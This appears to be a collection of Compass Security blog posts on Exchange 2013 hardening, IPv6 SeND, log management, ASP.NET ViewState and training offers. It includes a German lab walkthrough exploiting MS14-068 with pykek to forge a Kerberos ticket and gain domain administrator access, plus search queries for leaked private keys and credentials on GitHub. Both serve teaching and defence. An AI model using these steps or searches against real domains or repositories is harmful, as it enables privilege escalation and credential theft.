Exchange 2013 – Spot the Security Features

Microsoft Exchange 2013, the newest product in the Exchange series, is more and more enrolled in enterprise environments. With the new and enhanced features, for example the integration of SharePoint or Lync, the new Exchange is a well-designed piece of software which in parallel addresses different security concerns. Like Lync 2013 and the whole Microsoft Office Suite, Exchange is available as on premise installation or as Office365 solution, even a combination of both worlds is possible. There is for example the Exchange Online Protection solution which could be combined with a on premise installation.

Exchange 2013 Workloads

Exchange 2013 Workloads

Compass Security would like to share their recent experience to enlighten some of the risks and security issues within an Exchange environment. This post is not about fuzzing or testing the product itself, it’s more about the secure configuration of the Exchange environment. The other heavy-weight product from Microsoft, the Lync 2013, was also a recent blog topic where I wrote about the security issues, the privacy configuration and the missing security features.

At least the following built-in security features are available:

  • Encryption: Transport security is enabled by default and can’t be disabled. The communication is always RPC over HTTPs (Outlook Anywhere)
  • Fine-grained role-based-access-control (RBAC) system. A similar RBAC system is also used in a Lync eco-system
  • Passive databases and lagged database copies for high availability and disaster recovery
  • Archiving and Journaling possibilities for backup and compliance requirements
  • An optional anti-spam and anti-malware detection framework built into Exchange
  • Data Loss Prevention (DLP) engine to filter sensitive information, based on pattern matching

Besides these security features, following security issues must be properly addressed:

  1. RBAC: When the RBAC system is used too loosely, too many people have too many privileges on the sensitive enterprise e-mail content. Therefore, like in Lync, the RBAC roles must be implemented with the least-privilege principle. Custom roles should be implemented for enterprise-specific requirements:

Read all roles:

Get-ManagementRoleAssignment | select roleassigneename –Unique

Read all members of all the role groups:

foreach ($rg in Get-RoleGroup) { `
  Get-RoleGroupMember –Identity $rg.Name `
    | select name,@{n="RoleGroup";e={$rg.Name}} | `
      ft -autosize }

Read members of a specific role group:

Get-RoleGroupMember "My AD Group"

List all allowed cmdlets for a specific group:

Get-ManagementRoleEntry "RoleName\*"

Or list all groups in which a specific cmdlet is allowed:

Get-ManagementRoleEntry "*\cmdlet-name"
  1. E-mail encryption: However, transport security is used within the whole Exchange environment. End-to-end encryption must be implemented with e.g. RMS (Right-Management-System) or S/MIME. The email content is not encrypted by default. Furthermore, when using Exchange Cache Mode, on every enterprise workstation a “<filename>.ost” file is stored unencrypted on the disk. This file contains the whole email and calendar and other sensitive information in a mailbox. With tools like “Kernel to PST” the .ost file could be opened and accessed as with Outlook.

Cached Exchange Mode Settings under Account Settings in Outlook:

Exchange Cached Mode

Tool to read the content of .ost files is for example “Kernel for OST to PST“.

  1. Auditing: Tracking mailbox access and configuration changes is essential for forensic analysis and security investigations. There exist the admin (RBAC) and mailbox auditing. The latter can be enabled for the owner, delegates or admins. Furthermore, the auditing can be set for different actions, e.g. move, copy, open delete.

Admin audit:

Get-AdminAuditLogConfig | fl AdminAuditLogEnabled, `
  AdminAuditLogCmdlets, AdminAuditLogParameters, LogLevel

Mailbox audit:

Get-Mailbox | select userprincipalname,auditenabled | ft –AutoSize

List all actions which are logged for a specific mailbox:

get-mailbox <username> | % { `
  "Displayname: {0}" -f $_.displayname; "AuditEnabled: {0}" `
  -f $_.auditenabled; "AuditAdmin: {0}" -f $_.auditadmin; `
  "AuditDelegate: {0}" -f $_.auditdelegate; "AuditOwner: {0}" `
  -f $_.auditowner }

Identify mailboxes which are excluded from the auditing:

Get-MailboxAuditBypassAssociation -ResultSize unlimited | ? `
  { $_.AuditBypassEnabled -match "True" }
  1. Mailbox permissions: It’s well known, that the private flag is only respected within the Exchange Eco-System (e.g. Outlook, OWA). When directly access Exchange with Exchange Web Services (EWS), private flagged items (e.g. private appointments) can be read. Therefore, the permissions for a mailbox should be set to “limited details” and for the inbox the allowed delegates must be set very rare. “Reviewer” permissions would allow access to the private appointments through EWS.
Get-MailboxFolderPermission <username>:\Calendar

Example Output:

FolderName           User                 AccessRights
----------           ----                 ------------
Calendar             All                  {LimitedDetails}

The same is used for the inbox:

Get-MailboxFolderPermission <username>:\Inbox
  1. Connector Security: Connectors are the interfaces from and to the Exchange servers. Outlook clients, IMAP/POP clients, any other SMTP server and also third-party applications like scanners or FAX devices.

List given details for all connectors

Get-ReceiveConnector | fl Name, AuthMechanism, PermissionGroups

To verify, that a connector is not used as anonymous open relay, read the extended AD permissions for a specific connector:

Get-ReceiveConnector | % `
  { $; Get-ADPermission -identity $ -user `
  "NT AUTHORITY\ANONYMOUS LOGON" | ft extendedrights `
  -HideTableHeaders –AutoSize }

“Ms-Exch-SMTP-Accept-Any-Recipient” should not be available for any anonymous connector.

  1. OWA Offline Storage: In respect to information leakage, disabling offline storage would prevent the application from storing the following information on the client: up to 150 emails or content of last 3 days, all contacts, calendar entries for the next year but not attachments.
Get-OwaMailboxPolicy | fl AllowOfflineOn
  1. Management Interface: The new Exchange Administrative Center (EAC) is the management web application (/eac) for the Exchange. The same EAC is used by normal users to change their password or change other account settings. This leaves us in an unpleased situation where the management interface can’t be hided from the client network because both the administration and the user settings are handled with the same application.

As with Lync, the provided Exchange security mechanisms are good and give an enterprise a solid baseline for a secure email, calendar and contact manager solution. However, there are different locations which must be considered in the design and configuration phase: auditing must be enabled, custom RBAC roles should be used to limit access to sensitive mailbox content and connector security settings should be hardened to only allow authenticated users.

Thanks to Marek Madrzycki for the review and comments for this post.


IPv6 Secure Neighbor Discovery (SeND)

Finally, IPv6 is arriving… Since the IPv6 Launch Day in 2012, the number of native IPv6 users have been sextupled. In Switzerland, the IPv6 adoption rate is around 10%, which is quite impressive. In this blog post, the successor of ARP, namely the Neighbor Discovery Protocol (NDP), is introduced and its security features described. IPv4 ARP attacks are well known and documented. Similar attack vectors exist for IPv6’s NDP. To overcome these limitations, the IPv6 SeND (Secure Neighbor Discovery) was introduced back in 2005.

NDP is responsible for:

  • finding other nodes on the same network
  • providing the needed IPv6 prefix exchange mechanism
  • allowing IPv6 address auto-configurationand therefore enabling some IPv6 specific features like DAD (duplicate address detection)

NDP’s main messages are the advertisement and solicitation packets for either the router or the neighbor (host). Common attacks are spoofing (also used in IPv4, known as ARP spoofing), flooding router advertisements or denial-of-service. When a host creates his auto-generated IPv6 address, all other nodes on the same link are asked if this address is already taken. A malicious network participant could always claim he already uses this address for which a request was just sent, creating a denial-of-service condition.

SeND uses cryptographically generated addresses (CGA) based on private/public key pairs to generate IPv6 addresses. A recipient of such an IPv6 packet can verify the authenticity of the IPv6 address with the provided public key. Furthermore, SeND uses a router authorization process to identify valid router advertisements (IPv6 prefixes among other things) based on a trust anchor (e.g. a certificate authority).

Due to the design of IPv6 SeND, DoS attacks are possible because of its computational costs. Furthermore, it only makes sense to use IPv6 SeND in pure IPv6 networks. Privacy issues also exist, because the public key doesn’t change and is sent with every IPv6 SeND packet, regardless of the currently connected network.

Most vendors do not natively implement SeND in their products (e.g. Google’s Android, Apple’s IOS, *nix, Windows) for the moment. Cisco’s IOS 12.4-24(T) and Juniper JUNOS version 9.3 onwards ship with a SeND implementation. On the operating system side, experimental implementations exist for Linux and Windows. Due to this sparse support (and the requirement of running exclusively IPv6), SeND cannot be used today to secure larger environments down to the workstation or server. But SeND can be an option to secure your inter-router traffic provided your network equipment supports it.

Further details can be found in the following presentation: IPv6 Secure Neighbor Discovery.

Thanks to Mateusz Khalil and Alexandre Herzog for the review and comments for this post.


  • RFC3971: Secure Neighbor Discovery (SEND)
  • RFC3972: Cryptographically Generated Addresses (CGAs)
  • Ed Horley IPv6 Bootcamp presentation, 2014
  •, «IPv6 Secure Neighbor Discovery», 2012
  • «IPv6 Security», Eric Vyncke, Cisco, 2014
  • Short summary of SeND, “IPv6 Secure Neighbor Discovery”, EPFL, Claire Musso, Syrine Boujnah, Khalil Hajji, Dec 2013

Aktuelle Security Trainings

Web Application Security Training

Die Compass Security hat im Moment im Bereich Web Security zwei Kurse ausgeschrieben. Ein Basic und ein Advanced. Unsere öffentlichen Kurse dauern jeweils 2-Tage und bestehen zur Hälfte aus praktischen Beispielen (Hands-On Lab) und zur anderen Hälfte aus Theorie. Wobei die Doing-Aufgaben in der
Regel eine Schritt-für-Schritt Anleitung sind.

Der Hacker-Angriff erfolgt zunehmend über den Browser auf Web Anwendungen. Durch die grosse Verbreitung der Web Technologie steigt der Bedarf für Sicherheit und die sichere Programmierung. Das Thema beschäftigt nicht nur E-Banking und Online Trading Anbieter, sondern auch Shops mit Kreditkarten Zahlungen, eHealth, eVoting und Anwendungen mit schützenswerten Daten. Bei diesen Seminaren erlernen Sie anhand von Theorie und praktischen Laborübungen im Hacking-Lab die OWASP TOP 10 kennen und können im Anschluss selbst Sicherheitsprobleme aufdecken, sichere Anwendungen schreiben und Security Policies verfassen.

Web Application Security Basic, 03. und 04. März 2015 in Bern (Schweiz)

Web Application Security Advanced, 05. und 06. März 2015 in Bern (Schweiz)

Die Inhalte der Kurse können wir beliebig zusammenstellen. Weitere Themen, die im Moment nicht ausgeschrieben sind, wären:

  • DOM Injections (mittlerweile eine prominente Art von XSS)
  • AngularJS Security
  • OAuth 2
  • OpenID
  • XSLT

Secure Mobile Apps, 23. und 24. März 2015 in Bern (Schweiz)

Mit der wachsenden Verbreitung von mobilen Geräten stehen diese zunehmend im Fokus von Cyber Kriminellen. Mit einem guten App Design und der richtigen Nutzung der Hersteller API sind gute und sichere Lösungen möglich! Doch wo befinden sich die typischen Sicherheitslücken? Die Compass Security AG hat eine verwundbare Training Mobile App für Android und iOS entwickelt, um die Kursteilnehmer anhand von praktischen Beispielen in das Thema „Mobile Secure App“ einzuführen und sie für Self-Assessments und Sicherheitsfragen zu sensibilisieren.

Weitere Informationen sind unter vorhanden.

Falls Sie keinen passenden Kurs gefunden haben, schauen Sie doch in Zukunft unter vorbei. Compass Security bietet regelmässig neue Trainings an.

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS):
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    |_  System time: 2014-12-07T15:07:11+01:00
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available


Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.


Installation des “out-of-band” Patch MS14-068


Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.



Presentation at BSidesVienna

On the last Saturday the 22nd of November, I attended BSidesVienna 2014 to deliver a talk about BurpSentinel. This tool is a Burp Suite extension giving better control over semi-automated requests sent to a given web application page. The presentation also covered aspects on automated Cross-Site Scripting and SQL injection detection. Despite talking early in the day (10 am), the room was pretty crowded a few minutes into the presentation, and the attendees quite interested.


The location of BSidesVienna, an old cinema, was awesome and located right in the middle of Vienna, close to the Art district. Noteworthy is that all drinks, food and t-shirts were completely free, which is impressive for a free event! Other presentations covered e.g. the (in)security of fitness trackers, Android malware analysis or the comparison between the Manhattan project and the Snowden revelations. The slides will be available on the website soon.

Finally, I want to thank the organizers for the cool event, and Compass Security AG to sponsor the trip to Vienna.

Slides of the presentation:

Keep your secrets really secret

Nowadays, we all relentlessly use search engines and developers extensively use version and source code control systems to keep track of their source code. Services such as Google or GitHub are great to search and retrieve information they gathered and stored. But when it comes to public indexing services, one big problem raises up: your whole repository, your code and your configuration files are by default also uploaded – in sight to everyone. Therefore, sensitive data such as license keys, passwords or cryptographic key material becomes available with simple web searches.

Different sensitive information was leaked due to improper use of such version controls or improper handling of sensitive configuration files in the past. A recent story published in October 2014 by “Krebs on Security” demonstrates that very well.

So while I was recently reading a PowerShell blog post on “Hey Scripting Guy” about the .publishsettings file for Microsoft Azure access, I immediately thought of a nice GitHub search to find all these files. As with other sensitive files (e.g. private key files), people doesn’t care much about the confidentially of such files.

This .publishsettings file includes a certificate and sometimes also clear text FTP credentials for accessing Microsoft Azure repositories. Within a Microsoft Azure article, Microsoft highlighted the importance of removing this file:

We recommend that you delete the publishing profile that you downloaded using Get-AzurePublishSettingsFile after you import those settings.
Because the management certificate includes security credentials, it should not be accessed by unauthorized users.

The article “Download and Import Publish Settings and Subscription Information for Azure” describes the file structure:

<?xml version="1.0" encoding="utf-8"?>

Searching for this configuration file within Google or GitHub returns multiple entries:

Google search for the site GitHub and the file .publishsettings:

Google search for the site GitHub and the file .publishsettings:

Other interesting GitHub searches…

Private keys
Search for private keys within GitHub:"RSA+PRIVATE+KEY----"&type=Code&ref=searchresults

PHP wrapper
Search for PHP wrapper within GitHub:

With this search for PHP wrappers we would find something like:

$user = "doXXXon";
$password = "pfXXXXOS";
$connection = ssh2_connect([CUTBYCOMPASS], 22);

ASP.NET machine keys
Search for machine keys within ASP.NET application configuration files.


<!--?xml version="1.0" encoding="utf-8"?-->
 <machineKey decryptionKey="Decryption key goes here,IsolateApps" 
             validationKey="Validation key goes here,IsolateApps" />


Never include your configuration files and other sensitive information within a public repository like GitHub and keep in mind that any public information will eventually get indexed by search engines. As a developer, refrain from pushing unknown files, as they might have unexpected sensitive content and as system administrator, keep an eye on the directory and file permissions of your web servers to not accidentally expose sensitive files. Exhaustive lists of other Google searches (also called “Google Dorks) can be found in this infosec institute post or in the dedicated part for dorks on

Feel free to comment below to share your preferred other search queries!

Thanks to Philipp Promeuschel, Ivan Bütler and Alexandre Herzog for some additional queries.


Challenges in Log Management

Recently, SANS Institute has published the 9th log management survey (2014). The paper identifies strengths and weaknesses in log management systems and practices. It further provides advice to improve visibility across systems with proper log collection, normalization and analysis. Log management is very important to Compass as it heavily influences forensic investigations. Evidently, accurate information needs to be available to track down incidents. This post provides a short summary of the paper and reflects Compass research and experiences in these fields.

TL:DR; Positive is, that most of the companies have some sort of log management, at least most collect logs in some form – many do log to a central log server. In summary, log management is a well-established control within companies, but there are challenges (e.g. cloud services, differences in logging by different vendors) which companies cannot solve on their own and depend on the vendors and hosting providers. To differentiate between “good” and “bad” traffic is one of the biggest challenges.

The respondents of the survey rated the following activities as the biggest challenges in log management:

  • Distinguish between normal and suspicious traffic
  • Analysis of “big data” (large amount of volumes and types of log and events)
  • Normalization and categorization of logs and security information
  • Correlation of logs from various sources
  • Cloud causes log management headaches
  • Vendors log similar events differently

The first point “distinguish between normal and suspicious traffic” is clearly a problem – especially, if the infrastructure includes different technologies and vendors and exceeds a small environment. The bad thing is, malware and therefore the malicious traffic uses also “good” traffic to communicate with C&C servers. Here, baselining your logs could help. You might also want to understand applications in-depth and get some meaning from the user’s behavior – network analysis of the given parts could help you to understand the ‘average’ traffic.

The challenges with the cloud log management are rather new – but behind the scenes the same challenges exust. Look at cloud systems as they would be systems managed “by others” and not simply “by the cloud”. Challenge yourself with the same questions as you would challenge a hosted Unified Communications (UC) or a storage provider etc. What is logged? Where is it logged? How long are the logs being kept? Are the logs collected by the central log server? Will they be processed by the security information and event management (SIEM) systems?

The respondents in the survey clearly stated that collecting logs from the cloud is still difficult. Around half of the respondents say that they feel no need to monitor apps in the cloud. Many respondents say they rely on their cloud operator’s ISMS and security services, management and controls. Compass Security has some concern with this view – ONE SHOULD log and monitor all the required information as one would with in-house services. Graham Cluley said in a blog post: “Don’t call it ‘the cloud’. Call it ‘someone else’s computer’.”. Moreover, with the shift to the “cloud”, forensic analysis is getting a big challenge which companies are facing. If a cloud provider is not willing or simply unable to provide logs, you might want to evaluate another one. Some cloud providers actually allow to export logs. See Amazon and Cloudstack.

The top three reasons to collect logs are

  • detect and/or track suspicious behavior (e.g. unauthorized access, insider abuse)
  • support IT/Network routine maintenance and operations
  • support forensic analysis

Unfortunately, the respondents have issues to make meaningful use of the logs for:

  • detection/tracking of suspicious behavior
  • detection of APT-style malware
  • prevention incidents

In a recent presentation in Jona, Compass Security highlighted the difficulties to detect suspicious behavior and thus to detect APTs. It was presented how monitoring and APT traffic detection can be achieved with the correlation of logs of DNS, Mail, Proxy and Firewall. For this purpose, the logs have been enriched with external data like IP Reputation Lists, ZeuS Tracker, DNS Blacklists, Mail Black- and Greylists to identify potential malicious traffic. There are lots of other tricks which help to identify malicious traffic.

Besides the challenges and difficulties, the survey pointed out that SIEM infrastructures have become widely used to claim some form of automated processing and/or alerting of suspicious events. Automation is the key to managing and analyzing the large amounts of data. In recent years, normalization improved but fully “normalized” log information is still not available. Log engines will help to normalize and categorize events and log information systems for many different formats.

Interesting to see is how long the different respondents spend their time on analysis their logs. Most of them spend around 4h-8h a week on log analysis (of course, this depends on the company size). Not surprising was the fact, that regulatory compliance has been one of the main drivers for determining log data retention policies.

Regarding the current SSL (padding vulnerability) discussions, here are two examples of SSLv3 logging shown to identify downgrade attacks or to just see which clients still uses SSLv3. For apache this could be used:

CustomLog logs/ssl_request_log "%t %h \"{User-agent}i\" %{SSL_PROTOCOL}x %{SSL_CIPHER}x "

For nginx the following line could be used within your nginx configuration:

log_format ssl ''$remote_addr "$http_user_agent" $ssl_cipher $ssl_protocol

Offtopic: there is a good overview of different products and how to disable SSLv3.

How Compass can help you

If you like to have some hands-on practice and get a deeper inside how to detect APTs and how they work, Compass has the following upcoming courses regarding this hot topic:

These trainings use our Hacking-Lab in order to practice with log engines to analyze real-world examples. Furthermore, our classic “Beer Talk” series in September was about APT.

Compass Security can help you in the regards of testing your log environment with simulating directed attacks or simulating APT-style malware or by analyzing your log management concept.


While companies implemented log management with some basic log search functionality, detecting malware in real environments or collecting logs from the cloud is still difficult. Environments grow overtime and understanding the traffic within the infrastructure is key but a somewhat tedious and time consuming task. Log engines (e.g. IDH Framework, Splunk , Log Correlation Engine (LCE from TENABLE), ELK) help to collect and analyze log information. SIEM systems help to match and correlate different events. Script languages are needed to normalize data where the log engines reach their limits. Cloud providers must support the companies to log the relevant information or provide connectors for log engines. Furthermore, there is also a “Splunk in the cloud” solution.

Please comment, if I missed challenges or difficulties. I would also be interested in your experiences regarding log management.

Keywords: SIEM, log management, logging, normalization, APT, cloud, SANS


Forensic Investigation Kurs in Bern

Die Teilnehmer lernen die Grundlagen der forensichen Untersuchungen anhand eines fiktiven Hacker-Angriffs. Dazu startet das Seminar mit einem Szenario, welches Schritt für Schritt aufgeklärt werden soll. Dabei werden verschiedene Übungen mit unterschiedlichen Technologien und Systemen gemacht. Diesen November führt Compass Security das erste Mal in Bern den Forensic Investigation Kurs durch.

Sind Sie an Computer Forensik interessiert? Dann ist dieser Kurs genau richtig für Sie!

Die Compass Kurse vermitteln Ihnen Theorie mit vielen praktischen Fallbeispielen, welche Sie in der geschützten Labor-Umgebung (Hacking-Lab) üben können. Anmeldungen sind bis Anfang November 2014 möglich.

Weitere Security Trainings bei Compass

Security Advisories for SAP BusinessObjects Explorer and neuroML

Compass Security employees identify and report on a regular basis security vulnerabilities as part of their daily assessments (or just out curiosity).

Stefan Horlacher identified and reported back in June 2013 several flaws in SAP BusinessObjects Explorer. We’re happy to publish today the details as the flaws have been patched and a reasonable grace period given for their deployment:

Note that both the port scan as well as the XML External Entity (XXE) attack can be conducted anonymously without prior insider knowledge.

Philipp Promeuschel on his part identified multiple vulnerabilities in neuroML version 1.8.1 in May this year. The related advisory covers a wide range of vulnerabilities allowing a full compromise of the application:

Disabling Viewstate’s MAC: why you deserve having now a broken ASP.NET web application

Lots of things happened since my first (and unique) blog post about ASP.NET Viewstate and its related weakness. This blog post will not yet disclose all the details or contain tools to exploit applications, but give some ideas why it’s really mandatory to both correct your web applications and install the ASP.NET patch.

Back in September 2012 I reported an issue in the ASP.NET framework which could be used to potentially execute remote code in a typical SharePoint installation. Microsoft patched its flagship products SharePoint and Outlook Web Access. They also released guidance in security advisory 2905247 which contained an optional patch to download, removing the ASP.NET framework’s ability to alter setting “EnableViewStateMac”. It was also made clear that Microsoft will forbid this setting in upcoming ASP.NET versions. ASP.NET version 4.5.2, released in May 2014, was the first version of ASP.NET to have this setting disabled. Microsoft released as part of this month’s Patch Tuesday a patch to remove support for setting EnableViewStateMac for all ASP.NET versions.

While this patch may break ASP.NET applications, remember that without this patch you’re vulnerable to a much bigger threat. Fixing the web application is in the very vast majority of the cases easy from a technical perspective (e.g. set up dedicated machine keys within a given web farm). But as pointed out in the ASP.NET article, the management and distribution of these machine keys must follow a strict process to avoid being disclosed to unwanted parties. Think of machine keys being an essential element of your application. If these keys have ever been disclosed, you have to change them immediately. Ensure software purchased or downloaded from the Internet does not contain pre-defined keys in the application’s web.config.

If you want to know more but missed my Area41 talk about this flaw, come over to the AppSec Forum Western Switzerland on November 4th to 6th in Yverdon-les-Bains . I will be presenting an updated version of my “Why .NET needs MACs and other serial(-ization) tales” talk about the underlying flaws, their history and how to exploit them.